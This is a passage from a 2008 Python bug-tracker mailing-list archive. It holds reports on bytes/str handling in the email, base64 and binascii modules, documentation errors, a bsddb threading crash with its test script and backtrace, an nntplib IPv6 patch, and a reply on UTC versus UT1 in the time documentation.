components: Documentation
messages: 78456
nosy: beazley, georg.brandl
severity: normal
status: open
title: email documentation needs to be precise about strings/bytes
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4766>
_______________________________________

From report at bugs.python.org  Mon Dec 29 16:55:08 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 15:55:08 +0000
Subject: [New-bugs-announce] [issue4767] email.mime incorrectly documented
	(or implemented)
In-Reply-To: <1230566108.89.0.124705904062.issue4767@psf.upfronthosting.co.za>
Message-ID: <1230566108.89.0.124705904062.issue4767@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The documentation describes classes such as

email.mime.MIMEText()
email.mime.MIMEMultipart()
email.mime.MIMEApplication()
etc...

However, it's confusing because none of these classes are actually found 
in email.mime.

Suggest either using the full proper name:

   email.mime.text.MIMEText()

Or just using the short name along with a note saying where it's found:

   MIMEText()
   Defined in email.mime.text.  Further description, blah, blah..

Note:  These classes *are* defined in email.mime in Python 2.6.

----------
assignee: georg.brandl
components: Documentation
messages: 78458
nosy: beazley, georg.brandl
severity: normal
status: open
title: email.mime incorrectly documented (or implemented)
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4767>
_______________________________________

From report at bugs.python.org  Mon Dec 29 18:21:41 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 17:21:41 +0000
Subject: [New-bugs-announce] [issue4768] email.generator.Generator object
	bytes/str crash - b64encode() bug?
In-Reply-To: <1230571301.08.0.30132908931.issue4768@psf.upfronthosting.co.za>
Message-ID: <1230571301.08.0.30132908931.issue4768@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The email.generator.Generator class does not work correctly message 
objects created with binary data (MIMEImage, MIMEAudio, MIMEApplication, 
etc.).  For example:

>>> from email.mime.image import MIMEImage
>>> data = open("IMG.jpg","rb").read()
>>> m = MIMEImage(data,'jpeg')
>>> s = m.as_string()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/tmp/lib/python3.0/email/message.py", line 136, in as_string
    g.flatten(self, unixfrom=unixfrom)
  File "/tmp/lib/python3.0/email/generator.py", line 76, in flatten
    self._write(msg)
  File "/tmp/lib/python3.0/email/generator.py", line 101, in _write
    self._dispatch(msg)
  File "/tmp/lib/python3.0/email/generator.py", line 127, in _dispatch
    meth(msg)
  File "/tmp/lib/python3.0/email/generator.py", line 155, in 
_handle_text
    raise TypeError('string payload expected: %s' % type(payload))
TypeError: string payload expected: <class 'bytes'>
>>> 

The source of the problem is rather complicated, but here is the gist of 
it.

1.  Classes such as MIMEAudio and MIMEImage accept raw binary data as 
input.  This data is going to be in the form of bytes.

2.  These classes immediately encode the data using a base64 encoder. 
This encoder uses the library function base64.b64encode().

3. base64.b64encode() takes a byte string as input and returns a byte 
string as output.  So, even after encoding, the payload of the message 
is of type 'bytes'

4. When messages are generated, the method Generator._dispatch() is 
used.   It looks at the MIME main type and subtype and tries to dispatch 
message processing to a handler method of the form 
'_handle_type_subtype'.    If it can't find such a handler, it defaults 
to a method _writeBody().  For image and audio types, this is what 
happens. 

5. _writeBody() is an alias for _handle_text().

6. _handle_text() crashes because it's not expecting a payload of type 
'bytes'.

Suggested fix:

I think the library function base64.b64encode() should return a string, 
not bytes.  The whole point of base64 encoding is to take binary data 
and encode it into characters safe for inclusion in text strings. 

Other fixes:

Modify the Generator class in email.generator to properly detect bytes 
and use a different _handle function for it.  For instance, maybe add a 
_handle_binary() method.

----------
components: Library (Lib)
messages: 78464
nosy: beazley
severity: normal
status: open
title: email.generator.Generator object bytes/str crash - b64encode() bug?
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4768>
_______________________________________

From report at bugs.python.org  Mon Dec 29 18:35:53 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 17:35:53 +0000
Subject: [New-bugs-announce] [issue4769] b64decode should accept strings or
	bytes
In-Reply-To: <1230572153.22.0.954048343235.issue4769@psf.upfronthosting.co.za>
Message-ID: <1230572153.22.0.954048343235.issue4769@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The whole point of base64 encoding is to safely encode binary data into 
text characters.  Thus, the base64.b64decode() function should equally 
accept text strings or binary strings as input. For example, there is a 
reasonable expectation that something like this should work:

>>> x = 'SGVsbG8='
>>> base64.b64decode(x)
b'Hello'
>>>

In Python 3, you get this exception however:

>>> base64.b64decode(x)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/tmp/lib/python3.0/base64.py", line 80, in b64decode
    raise TypeError("expected bytes, not %s" % s.__class__.__name__)
TypeError: expected bytes, not str
>>> 

I realize that there are encoding issues with Unicode strings, but 
base64 encodes everything into the first 127 ASCII characters.  If the 
input to b64decode is a str, just do a encode('ascii') operation on it 
and proceed.  If that fails, it wasn't valid Base64 to begin with.

I can't think of any real negative impact to making this change as long 
as the result is still always bytes.   The main benefit is just 
simplifying the decoding process for end-users.

See issue 4768.

----------
components: Library (Lib)
messages: 78466
nosy: beazley
severity: normal
status: open
title: b64decode should accept strings or bytes
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4769>
_______________________________________

From report at bugs.python.org  Mon Dec 29 19:00:53 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 18:00:53 +0000
Subject: [New-bugs-announce] [issue4770] binascii module,
	crazy error messages, unexpected behavior
In-Reply-To: <1230573653.7.0.91596129114.issue4770@psf.upfronthosting.co.za>
Message-ID: <1230573653.7.0.91596129114.issue4770@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

See Issue 4869 for a related bug.

Most of the functions in binascii are meant to go from binary data to 
textual representations (hex digits, base64, binhex, etc.).  There are 
numerous problems:

1.  Misleading error messages.  For example:

>>> binascii.b2a_base64("Some text")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: b2a_base64() argument 1 must be string or buffer, not str
>>> binascii.crc32("Some text")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: crc32() argument 1 must be string or buffer, not str
>>>

Huh?  Didn't I just pass a string?   Error message should say "argument 
1 must be bytes or buffer, not str".

This problem shows up with most of the other encoding functions too 
(i.e., b2a_uu).

2. Expected behavior with encoding/decoding.

The functions in this module are going from binary to text. To be 
consistent, I think the result of encoding operations such as b2a_uu(),
b2a_base64(), should be strings, not bytes.

Similarly, decoding operations are going from text back to bytes.  I 
think the input arguments should be allowed to be str (in addition to 
bytes if you want).

----------
components: Library (Lib)
messages: 78470
nosy: beazley
severity: normal
status: open
title: binascii module, crazy error messages, unexpected behavior
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4770>
_______________________________________

From report at bugs.python.org  Mon Dec 29 20:54:13 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 19:54:13 +0000
Subject: [New-bugs-announce] [issue4771] Bad examples in hashlib
	documentation
In-Reply-To: <1230580453.49.0.84124540876.issue4771@psf.upfronthosting.co.za>
Message-ID: <1230580453.49.0.84124540876.issue4771@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The hashlib documentation has incorrect examples showing the use of the 
hexdigest() method:

>>> hashlib.sha224(b"Nobody inspects the spammish 
repetition").hexdigest()
b'a4337bc45a8fc544c03f52dc550cd6e1e87021bc896588bd79e901e2'
>>>

and this one

>>> h = hashlib.new('ripemd160')
>>> h.update(b"Nobody inspects the spammish repetition")
>>> h.hexdigest()
b'cc4a5ce1b3df48aec5d22d1f16b894a0b894eccc'
>>>

However, the result of h.hexdigest() is of type 'str', not bytes. Actual 
output:

>>> h.hexdigest()
'cc4a5ce1b3df48aec5d22d1f16b894a0b894eccc'
>>> 

Sure would be nice if that string of hex digits was easy to decode back 
into a binary string.  

>>> import binascii
>>> b = binascii.a2b_hex(h.hexdigest())
>>>

Hmmm. So *SOME* of the functions in binascii do accept Unicode strings. 
See Issue 4470 :-).

----------
assignee: georg.brandl
components: Documentation
messages: 78480
nosy: beazley, georg.brandl
severity: normal
status: open
title: Bad examples in hashlib documentation
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4771>
_______________________________________

From report at bugs.python.org  Mon Dec 29 21:36:13 2008
From: report at bugs.python.org (dontbugme)
Date: Mon, 29 Dec 2008 20:36:13 +0000
Subject: [New-bugs-announce] [issue4772] undesired switch fall-through in
	socketmodule.c
In-Reply-To: <1230582973.84.0.698923049603.issue4772@psf.upfronthosting.co.za>
Message-ID: <1230582973.84.0.698923049603.issue4772@psf.upfronthosting.co.za>


New submission from dontbugme <pythonbugsbugmenot at spamavert.com>:

makesockaddr() in socketmodule.c will fall through from AF_BLUETOOTH to
AF_PACKET if none of Bluetooth protocols match. That's not a very
appropriate thing to do.

----------
messages: 78483
nosy: dontbugme
severity: normal
status: open
title: undesired switch fall-through in socketmodule.c

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4772>
_______________________________________

From report at bugs.python.org  Mon Dec 29 22:42:32 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 21:42:32 +0000
Subject: [New-bugs-announce] [issue4773] HTTPMessage not documented and has
	inconsistent API across 2.6/3.0
In-Reply-To: <1230586952.45.0.591912771259.issue4773@psf.upfronthosting.co.za>
Message-ID: <1230586952.45.0.591912771259.issue4773@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

A file-like object u returned by the urlopen() function in both Python 
2.6/3.0 has a method info() that returns a 'HTTPMessage' object.  For 
example:

::: Python 2.6
>>> from urllib2 import urlopen
>>> u = urlopen("http://www.python.org")
>>> u.info()
<httplib.HTTPMessage instance at 0xce5738>
>>> 

::: Python 3.0
>>> from urllib.request import urlopen
>>> u = urlopen("http://www.python.org")
>>> u.info()
<http.client.HTTPMessage object at 0x4bfa10>
>>>

So far, so good.  HTTPMessage is defined in two different modules, but 
that's fine (it's just library reorganization).

Two major problems:

1. There is no documentation whatsoever on HTTPMessage.  No description 
in the docs for httplib (python 2.6) or http.client (python 3.0).

2. The HTTPMessage object in Python 2.6 derives from mimetools.Message 
and has a totally different programming interface than HTTPMessage in 
Python 3.0 which derives from email.message.Message.  Check it out:

:::Python 2.6
>>> dir(u.info())
['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__', 
'__iter__', '__len__', '__module__', '__setitem__', '__str__', 
'addcontinue', 'addheader', 'dict', 'encodingheader', 'fp', 'get', 
'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate', 
'getdate_tz', 'getencoding', 'getfirstmatchingheader', 'getheader', 
'getheaders', 'getmaintype', 'getparam', 'getparamnames', 'getplist', 
'getrawheader', 'getsubtype', 'gettype', 'has_key', 'headers', 
'iscomment', 'isheader', 'islast', 'items', 'keys', 'maintype', 
'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 
'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders', 
'status', 'subtype', 'type', 'typeheader', 'unixfrom', 'values']

:::Python 3.0
>>> dir(u.info())
['__class__', '__contains__', '__delattr__', '__delitem__', '__dict__', 
'__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', 
'__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', 
'__len__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', 
'__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', 
'__str__', '__subclasshook__', '__weakref__', '_charset', 
'_default_type', '_get_params_preserve', '_headers', '_payload', 
'_unixfrom', 'add_header', 'as_string', 'attach', 'defects', 
'del_param', 'epilogue', 'get', 'get_all', 'get_boundary', 
'get_charset', 'get_charsets', 'get_content_charset', 
'get_content_maintype', 'get_content_subtype', 'get_content_type', 
'get_default_type', 'get_filename', 'get_param', 'get_params', 
'get_payload', 'get_unixfrom', 'getallmatchingheaders', 'is_multipart', 
'items', 'keys', 'preamble', 'replace_header', 'set_boundary', 
'set_charset', 'set_default_type', 'set_param', 'set_payload', 
'set_type', 'set_unixfrom', 'values', 'walk']

I know that getting rid of mimetools was desired, but I have no idea if 
changing the API on HTTPMessage was intended or not.  In any case, it's 
one of the only cases in the entire library where the programming 
interface to an object radically changes from 2.6 -> 3.0.  

I ran into this problem with code that was trying to properly determine 
the charset encoding of the byte string returned by urlopen(). 

I haven't checked whether 2to3 deals with this or not, but it might be 
something for someone to look at in their copious amounts of spare time.

----------
components: Library (Lib)
messages: 78486
nosy: beazley
severity: normal
status: open
title: HTTPMessage not documented and has inconsistent API across 2.6/3.0
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4773>
_______________________________________

From report at bugs.python.org  Tue Dec 30 00:20:53 2008
From: report at bugs.python.org (Alain Spineux)
Date: Mon, 29 Dec 2008 23:20:53 +0000
Subject: [New-bugs-announce] [issue4774] threding,
	bsddb and double free or corruption (fasttop)
In-Reply-To: <1230592853.0.0.0445648356303.issue4774@psf.upfronthosting.co.za>
Message-ID: <1230592853.0.0.0445648356303.issue4774@psf.upfronthosting.co.za>


New submission from Alain Spineux <alain.spineux at gmail.com>:

This is a test script, to help me to understand why I have unexpected
result in application.
But I got a more unexpected result, and probably wrong error message
about the read-only cursor.
The full script is at the end.

I got this only one ! I restart the script after the crash, but
this has freezed my xen virtual machine after some minutes. I had to
"destroy" it and restart it. 
After restart was not working anymore, blocked, not responding except to
CTRL-C
I had to drop the old DB, and then i worked again 

I run python 2.5.2 inside a kolab 2.2.0 (aka openpkg) environement 
on a xen centos 5.x running kernel 2.6.18-8.el5xen and glibc-2.5-12

The host is a P4 running centos 5.X and kernel 2.6.18-53.1.4.el5xen


Here are the errors, I waited for long time after the  firts backtrace,
to press CTRL-C and got immediately the second backtrace.

Regards

db cleanup, 326 records deleted, 9990 remains
Exception in thread Thread-1:
Traceback (most recent call last):
  File "/kolab/lib/python/threading.py", line 486, in
__bootstrap_inner
    self.run()
  File "/kolab/lib/python/threading.py", line 446, in run
    self.__target(*self.__args, **self.__kwargs)
  File "./test/test_bdb.py", line 85, in <lambda>
    update_thread=threading.Thread(target=lambda : cleanup(db))
  File "./test/test_bdb.py", line 72, in cleanup
    cursor.delete()
DBPermissionsError: (1, 'Operation not permitted -- Write attempted on
read-
only
cursor')

Traceback (most recent call last):
  File "./test/test_bdb.py", line 130, in <module>
    server()
  File "./test/test_bdb.py", line 92, in server
    db[str(last)]=str(last)
KeyboardInterrupt
*** glibc detected *** /kolab/bin/python: double free or corruption
(fasttop):
0
x09d521a8 ***
======= Backtrace: =========
/lib/i686/nosegneg/libc.so.6[0x4444ccfd]
/lib/i686/nosegneg/libc.so.6(cfree+0x90)[0x444503b0]
/kolab/bin/python(__db_c_destroy+0x60)[0x81fa6f0]
/kolab/bin/python(__db_refresh+0x165)[0x81f3515]
/kolab/bin/python(__db_close+0x64)[0x81f3cb4]
/kolab/bin/python(__db_close_pp+0xa1)[0x8204b61]
/kolab/bin/python[0x812123f]
/kolab/bin/python[0x8159534]
/kolab/bin/python[0x815fb0a]
/kolab/bin/python[0x811abbc]
/kolab/bin/python[0x811abc9]
/kolab/bin/python[0x80b0229]
/kolab/bin/python(PyDict_SetItem+0x6e)[0x80b1c0e]
/kolab/bin/python(PyDict_SetItemString+0x42)[0x80b1ce2]
/kolab/bin/python(PyImport_Cleanup+0xd4)[0x8108294]
/kolab/bin/python(Py_Finalize+0xbf)[0x8113f1f]
/kolab/bin/python(Py_Main+0x468)[0x80845c8]
/kolab/bin/python(main+0x22)[0x8084052]
/lib/i686/nosegneg/libc.so.6(__libc_start_main+0xdc)[0x443fbdec]
/kolab/bin/python[0x8083fa1]
======= Memory map: ========
00110000-001d7000 rwxp 00110000 00:00 0
001d7000-001da000 r-xp 00000000 ca:03 973941     /kolab/lib/python/lib-
dynload/
t
ime.so
001da000-001dc000 rwxp 00002000 ca:03 973941     /kolab/lib/python/lib-
dynload/
t
ime.so
001dc000-001e0000 r-xp 00000000 ca:03 973938     /kolab/lib/python/lib-
dynload/
s
trop.so
001e0000-001e2000 rwxp 00003000 ca:03 973938     /kolab/lib/python/lib-
dynload/
s
trop.so
001e2000-001e3000 r-xp 00000000 ca:03 973911     /kolab/lib/python/lib-
dynload/
_
weakref.so
001e3000-001e4000 rwxp 00000000 ca:03 973911     /kolab/lib/python/lib-
dynload/
_
weakref.so
001e4000-001ea000 rwxs 00000000 ca:03 1747650    /tmp/db/__db.001
001ea000-001fc000 rwxs 00000000 ca:03 1747651    /tmp/db/__db.002
001fc000-0023e000 rwxs 00000000 ca:03 1747652    /tmp/db/__db.003
00388000-003e0000 rwxs 00000000 ca:03 1747653    /tmp/db/__db.004
00450000-00452000 r-xp 00000000 ca:03 1132355    /lib/libutil-2.5.so
00452000-00453000 r-xp 00001000 ca:03 1132355    /lib/libutil-2.5.so
00453000-00454000 rwxp 00002000 ca:03 1132355    /lib/libutil-2.5.so
00459000-0047e000 r-xp 00000000 ca:03 1132349    /lib/i686/nosegneg/
libm-2.5.so
0047e000-0047f000 r-xp 00024000 ca:03 1132349    /lib/i686/nosegneg/
libm-2.5.so
0047f000-00480000 rwxp 00025000 ca:03 1132349    /lib/i686/nosegneg/
libm-2.5.so
0063e000-0063f000 r-xp 0063e000 00:00 0          [vdso]
0097a000-0098d000 r-xp 00000000 ca:03 1134447    /lib/i686/nosegneg/
libpthread-2                                                           
                                                                      .
5.so
0098d000-0098e000 r-xp 00012000 ca:03 1134447    /lib/i686/nosegneg/
libpthread-2                                                           
                                                                      .
5.so
0098e000-0098f000 rwxp 00013000 ca:03 1134447    /lib/i686/nosegneg/
libpthread-2                                                           
                                                                      .
5.so
0098f000-00991000 rwxp 0098f000 00:00 0
009a8000-009e9000 rwxp 009a8000 00:00 0
00b80000-00d80000 r-xp 00000000 ca:03 845325     /usr/lib/locale/
locale-archive
00ec9000-00ecc000 r-xp 00000000 ca:03 973916     /kolab/lib/python/lib-
dynload/
c
StringIO.so
00ecc000-00ecd000 rwxp 00003000 ca:03 973916     /kolab/lib/python/lib-
dynload/
c
StringIO.so
00fd2000-00fd6000 r-xp 00000000 ca:03 973918     /kolab/lib/python/lib-
dynload/
c
ollections.so
00fd6000-00fd7000 rwxp 00004000 ca:03 973918     /kolab/lib/python/lib-
dynload/
c
ollections.so
00fd7000-00fd8000 --xp 00fd7000 00:00 0
00fd8000-019d8000 rwxp 00fd8000 00:00 0
08048000-08433000 r-xp 00000000 ca:03 430731     /kolab/bin/python
08433000-0846e000 rwxp 003eb000 ca:03 430731     /kolab/bin/python
0846e000-08478000 rwxp 0846e000 00:00 0
09ce5000-09da5000 rwxp 09ce5000 00:00 0
443c4000-443dd000 r-xp 00000000 ca:03 1132323    /lib/ld-2.5.so
443dd000-443de000 r-xp 00018000 ca:03 1132323    /lib/ld-2.5.so
443de000-443df000 rwxp 00019000 ca:03 1132323    /lib/ld-2.5.so
443e6000-44521000 r-xp 00000000 ca:03 1134399    /lib/i686/nosegneg/
libc-2.5.so
44521000-44523000 r-xp 0013a000 ca:03 1134399    /lib/i686/nosegneg/
libc-2.5.so
44523000-44524000 rwxp 0013c000 ca:03 1134399    /lib/i686/nosegneg/
libc-2.5.so
44524000-44527000 rwxp 44524000 00:00 0
44529000-4452b000 r-xp 00000000 ca:03 1134402    /lib/libdl-2.5.so
4452b000-4452c000 r-xp 00001000 ca:03 1134402    /lib/libdl-2.5.so
4452c000-4452d000 rwxp 00002000 ca:03 1134402    /lib/libdl-2.5.so
44622000-4462d000 r-xp 00000000 ca:03 1134413    /lib/
libgcc_s-4.1.1-20070105.so                                             
                                                                       
            .
1Aborted

#!/kolab/bin/python

import os, sys, logging, time, threading
import marshal
import bsddb.db

# this is a test to see how bsddb is reliable
# The server count in the db, and the client search for missing value
# run on server in a terminal, and a client in another

#
======================================================================
# db functions
#
======================================================================

db_dir='/tmp/db'
db_filename=os.path.join(db_dir, 'test.bdb')

try:
    os.mkdir(db_dir)
except OSError:
    pass

freq=100 # new sample per/sec
timeout=3 # in sec, how long I wait for them
retention=100 # in sec, how long they stay in the db

def init_db(read_only=True):
    # open the environement
    dbenv=db=None
    try:
        db_env=bsddb.db.DBEnv(0)

        flags=bsddb.db.DB_CREATE | bsddb.db.DB_INIT_CDB |
bsddb.db.DB_INIT_MPOOL
        db_env.open(db_dir, flags)
        db=bsddb.db.DB(db_env)
        flags = bsddb.db.DB_DIRTY_READ | ( bsddb.db.DB_RDONLY if
read_only else bsddb.db.DB_CREATE )

        db.open(db_filename, dbtype=bsddb.db.DB_HASH,flags=flags)
    except Exception:
        print 'error opening db'
        raise
    else:
        print 'db opened'

    return dbenv, db

#
----------------------------------------------------------------------
def close_db(dbenv, db):
    try:
        if db:
            db.close()
        if dbenv:
            db_env.close()
    except Exception:
        log.rcpt.exception('closing db')
    else:
        log.rcpt.info('db closed')

#
----------------------------------------------------------------------
def now():
    return int(time.time()*freq)

def cleanup(db):

    while True:
        cursor=db.cursor(None, bsddb.db.DB_WRITECURSOR)
        count=remain=0
        c=cursor.first()
        limit=now()-retention*freq
        while c:
            k, v=c
            t=int(k)
            if t<=limit:
                cursor.delete()
                count+=1
            else:
                remain+=1
            c=cursor.next()
        cursor.close()
        print 'db cleanup, %d records deleted, %d remains' % (count,
remain)
        time.sleep(timeout)

def server():
    dbenv, db=init_db(read_only=False)

    update_thread=threading.Thread(target=lambda : cleanup(db))
    update_thread.setDaemon(True)
    update_thread.start()
    last=now()
    while True:

        while last<now():
            db[str(last)]=str(last)
            last+=1

        time.sleep(1/freq)

    close_db(dbenv, db)

def client():

    dbenv, db=init_db(read_only=True)

    max_delay=0
    last=now()

    while True:
        try:
            value=db[str(last)]
        except KeyError:
            if last<now()-timeout*freq:
                print 'not found', last, float(now()-last)/freq
                last+=1
            else:
              time.sleep(1/freq)
        else:
            delay=now()-last
            if delay>max_delay:
                max_delay=delay
                print 'delay', max_delay

            last+=1

    close_db(dbenv, db)

if sys.argv[1]=='c':
    client()
elif sys.argv[1]=='s':
    server()

----------
components: Interpreter Core
messages: 78494
nosy: aspineux
severity: normal
status: open
title: threding, bsddb and double free or corruption (fasttop)
type: crash
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4774>
_______________________________________

From report at bugs.python.org  Tue Dec 30 03:17:22 2008
From: report at bugs.python.org (David Morley)
Date: Tue, 30 Dec 2008 02:17:22 +0000
Subject: [New-bugs-announce] [issue4775] Incorrect documentation - UTC time
In-Reply-To: <1230603442.34.0.985593856271.issue4775@psf.upfronthosting.co.za>
Message-ID: <1230603442.34.0.985593856271.issue4775@psf.upfronthosting.co.za>


New submission from David Morley <morley at ai.sri.com>:

There is a systemic error in the Python documentation on time (such as 
<http://docs.python.org/library/time.html>). The term UTC is used 
incorrectly in the documentation where the term UT1 should be used.

The difference is that UTC includes leap seconds, whereas UT1 does not (see <http://en.wikipedia.org/wiki/Coordinated_Universal_Time>). The 
conversion routines ignore leap seconds, e.g., (time.mktime((2000,1,1,12,0,0,0,0,0))-
time.mktime((1990,1,1,12,0,0,0,0,0))) returns an exact multiple of 
24*60*60 and does not include all the leap seconds added between those 
dates. Using UT1 is more sensible that using UTC, since with UTC it is 
impossible to know when future leap seconds will be added, and hence 
impossible to convert future times to a number of seconds past the 
epoch.

----------
assignee: georg.brandl
components: Documentation
messages: 78497
nosy: georg.brandl, luckmor
severity: normal
status: open
title: Incorrect documentation - UTC time
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4775>
_______________________________________

From report at bugs.python.org  Tue Dec 30 05:19:39 2008
From: report at bugs.python.org (steve21)
Date: Tue, 30 Dec 2008 04:19:39 +0000
Subject: [New-bugs-announce] [issue4776] distutils documentation
In-Reply-To: <1230610779.11.0.0228162085624.issue4776@psf.upfronthosting.co.za>
Message-ID: <1230610779.11.0.0228162085624.issue4776@psf.upfronthosting.co.za>


New submission from steve21 <steve872929-bv at yahoo.com.au>:

'data_files' and 'package_dir' are arguments for distutils.core.setup
that some packages use in their setup.py.
However, the manual entry for distutils.core. setup, at
http://docs.python.org/dev/3.0/distutils/apiref.html#module-distutils.core
does not document these arguments.

----------
assignee: georg.brandl
components: Documentation
messages: 78502
nosy: georg.brandl, steve21
severity: normal
status: open
title: distutils documentation
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4776>
_______________________________________

From report at bugs.python.org  Tue Dec 30 07:12:16 2008
From: report at bugs.python.org (Chris Morrow)
Date: Tue, 30 Dec 2008 06:12:16 +0000
Subject: [New-bugs-announce] [issue4777] nntplib - python 2.5
In-Reply-To: <1230617536.56.0.797389880383.issue4777@psf.upfronthosting.co.za>
Message-ID: <1230617536.56.0.797389880383.issue4777@psf.upfronthosting.co.za>


New submission from Chris Morrow <chris at as701.net>:

nntplib.py on python2.5 is not IPv6 ready. The below patch at least 
makes connections on both ipv4 and ipv6 to servers.

This was taken out of bug: http://bugs.python.org/issue1664

if that helps...

platform: 
Linux hostnamehere 2.6.26.6-79.fc9.i686 #1 SMP Fri Oct 17 14:52:14 EDT 
2008 i686 i686 i386 GNU/Linux


morrowc at tweezer:/tmp$ diff -U3 nntplib.py.orig nntplib.py
--- nntplib.py.orig     2008-12-30 01:06:14.000000000 -0500
+++ nntplib.py  2008-12-30 01:07:33.000000000 -0500
@@ -109,8 +109,19 @@
         """
         self.host = host
         self.port = port
-        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        self.sock.connect((self.host, self.port))
+        msg = "getaddrinfo returns an empty list"
+        for res in socket.getaddrinfo(self.host, self.port, 0, 
socket.SOCK_STREAM):
+          af, socktype, proto, canonname, sa = res
+          sock = None
+          try:
+            self.sock = socket.socket(af, socktype, proto)
+            self.sock.connect(sa)
+
+          except error, msg:
+            if self.sock is not None:
+                self.sock.close()
+            raise NNTPError, msg
+
         self.file = self.sock.makefile('rb')
         self.debugging = 0
         self.welcome = self.getresp()

----------
components: Library (Lib)
files: nntplib.py-ipv6.patch
keywords: patch
messages: 78509
nosy: morrowc
severity: normal
status: open
title: nntplib - python 2.5
type: behavior
versions: Python 2.5
Added file: http://bugs.python.org/file12489/nntplib.py-ipv6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4777>
_______________________________________

From martin at v.loewis.de  Tue Dec 30 09:46:57 2008
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 30 Dec 2008 09:46:57 +0100
Subject: [New-bugs-announce] [issue4775] Incorrect documentation - UTC
 time
In-Reply-To: <1230603442.34.0.985593856271.issue4775@psf.upfronthosting.co.za>
References: <1230603442.34.0.985593856271.issue4775@psf.upfronthosting.co.za>
Message-ID: <4959E001.1080808@v.loewis.de>

> The difference is that UTC includes leap seconds, whereas UT1 does not (see <http://en.wikipedia.org/wiki/Coordinated_Universal_Time>). The 
> conversion routines ignore leap seconds, e.g., (time.mktime((2000,1,1,12,0,0,0,0,0))-
> time.mktime((1990,1,1,12,0,0,0,0,0))) returns an exact multiple of 
> 24*60*60 and does not include all the leap seconds added between those 
> dates. 

Read the documentation carefully. It doesn't claim that mktime uses UTC,
and claiming that it uses UT1 would be equally incorrect. Instead,
mktime uses local time (as documented). Whether that includes leap
seconds or not depends on the definition of your time zone in your
operating system.

Also notice that the Unix time (time_t) is discontinuous with respect
to leap seconds; each day time_t advances by 86400 seconds even if there
was a leap second on that day; see

http://en.wikipedia.org/wiki/Unix_time

So even if your time zone includes leap seconds, then mktime still
correctly computes the difference as multiple of 86400.

Which specific other usage of UTC do you also consider incorrect?


From report at bugs.python.org  Tue Dec 30 10:55:39 2008
From: report at bugs.python.org (Dmitry Vasiliev)
Date: Tue, 30 Dec 2008 09:55:39 +0000
Subject: [New-bugs-announce] [issue4778] Small typo in multiprocessing
	documentation
In-Reply-To: <1230630939.22.0.804614674189.issue4778@psf.upfronthosting.co.za>
Message-ID: <1230630939.22.0.804614674189.issue4778@psf.upfronthosting.co.za>


New submission from Dmitry Vasiliev <dima at hlabs.spb.ru>:

Small typo about "call" Process.daemon flag. The patch attached.

----------
assignee: georg.brandl
components: Documentation
files: multiprocessing.patch
keywords: patch
messages: 78516
nosy: georg.brandl, hdima
severity: normal
status: open
title: Small typo in multiprocessing documentation
versions: Python 3.0
Added file: http://bugs.python.org/file12491/multiprocessing.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4778>
_______________________________________

From report at bugs.python.org  Tue Dec 30 12:36:42 2008
From: report at bugs.python.org (pierre.lhoste)
Date: Tue, 30 Dec 2008 11:36:42 +0000
Subject: [New-bugs-announce] [issue4779] Can't import Tkinter
In-Reply-To: <1230637002.81.0.814497868167.issue4779@psf.upfronthosting.co.za>
Message-ID: <1230637002.81.0.814497868167.issue4779@psf.upfronthosting.co.za>


New submission from pierre.lhoste <pierre.lhoste at voila.fr>:

I've just installed Python 3.0 (with Tkinter) on Windows Vista, but I 
can't import Tkinter : "No module named Tkinter"
When installing Python 2.6, it works.
Why ?
Thank you.

----------
components: Tkinter
messages: 78519
nosy: pierre.lhoste
severity: normal
status: open
title: Can't import Tkinter
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4779>
_______________________________________

From report at bugs.python.org  Tue Dec 30 14:06:18 2008
